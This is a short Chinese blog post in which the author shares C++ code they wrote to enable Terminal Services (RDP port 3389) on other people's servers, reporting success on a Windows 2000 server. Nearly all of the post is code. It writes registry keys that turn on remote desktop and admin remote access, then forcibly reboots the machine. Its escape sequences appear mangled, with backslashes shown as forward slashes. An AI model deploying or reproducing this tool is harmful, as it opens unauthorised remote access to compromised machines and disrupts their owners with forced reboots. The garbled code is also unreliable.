开3389的代码(.CPP

 嗯,这个东西已经被讨论过很多次了,但是小弟我今天才用到:我在Play的时候想开别人的终端服务,找了很多文章来看,但是工具却下不下来,只好自己写了一个,见笑了。在一台2000server+sp3的服务器上成功。



#include "windows.h"

#include "iostream.h"





void main(int argc, char* argv[])

{

HKEY hKey;

HANDLE hProcess, hToken;

TOKEN_PRIVILEGES NewState;

DWORD ProcessId, ReturnLength = 0;

LUID luidPrivilegeLUID;

LPCTSTR key[]={"SOFTWARE//Microsoft//Windows//CurrentVersion//netcache//",

"SOFTWARE//Policies//Microsoft//Windows//Installer//",

"SYSTEM//CurrentControlSet//Control//Terminal Server//",

"SYSTEM//CurrentControlSet//Services//TermDD//",

"SYSTEM//CurrentControlSet//Services//TermService//",

"SYSTEM//CurrentControlSet//Control//Terminal Server//WinStations//RDP-Tcp//",

".DEFAULT//Keyboard Layout//Toggle//"};

HKEY head[]={HKEY_LOCAL_MACHINE, HKEY_LOCAL_MACHINE,

HKEY_LOCAL_MACHINE,HKEY_LOCAL_MACHINE,

HKEY_LOCAL_MACHINE,HKEY_LOCAL_MACHINE,

HKEY_USERS};

DWORD type[] = {REG_DWORD,REG_DWORD,REG_DWORD,REG_DWORD,REG_DWORD,REG_DWORD,REG_SZ};

LPCTSTR value[] = {"/x00/x00/x00/x00", "/x01/x00/x00/x00", "/x01/x00/x00/x00", "/x02/x00/x00/x00", "/x02/x00/x00/x00", "/x3d/x0d/x00/00", "2"};

DWORD length[] = {4, 4, 4, 4, 4, 4, 2};

LPCTSTR name[] = {"Enabled","EnableAdminTSRemote","TSEnabled","Start","Start","PortNumber","Hotkey"};

for(int i = 0; i < 2; i++)

RegCreateKeyEx(head[i],key[i],0,NULL,REG_OPTION_NON_VOLATILE,KEY_WRITE,NULL,&hKey,NULL);

for(i = 0; i < 7; i++)

{

if(::RegOpenKeyEx(head[i], key[i], 0, KEY_WRITE, &hKey) != ERROR_SUCCESS)

{

cout<<"Error Opening Register.../n";

return;

}

if(::RegSetValueEx(hKey, name[i], 0, type[i], (LPBYTE)value[i], length[i]) != ERROR_SUCCESS)

{

cout<<"Error Writing Register.../n";

return;

}

}

ProcessId = GetCurrentProcessId();

hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);

if(!OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken)

||!LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &luidPrivilegeLUID))

{

cout<<"Error! Try iisreset.exe /reboot to reboot system!";

return;

}

NewState.PrivilegeCount = 1;

NewState.Privileges[0].Luid = luidPrivilegeLUID;

NewState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

if(AdjustTokenPrivileges(hToken, FALSE, &NewState, NULL, NULL, NULL))

ExitWindowsEx(EWX_FORCE | EWX_REBOOT, 0);

return;

}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值